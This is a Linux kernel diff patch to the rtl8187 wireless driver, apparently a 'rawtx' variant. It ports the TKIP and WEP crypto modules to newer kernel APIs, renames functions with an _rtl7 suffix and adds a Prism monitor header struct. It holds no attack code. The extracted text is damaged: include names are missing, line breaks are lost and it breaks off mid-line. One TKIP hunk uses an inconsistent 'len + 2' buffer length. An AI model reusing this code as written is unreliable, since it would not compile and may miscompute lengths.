rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short 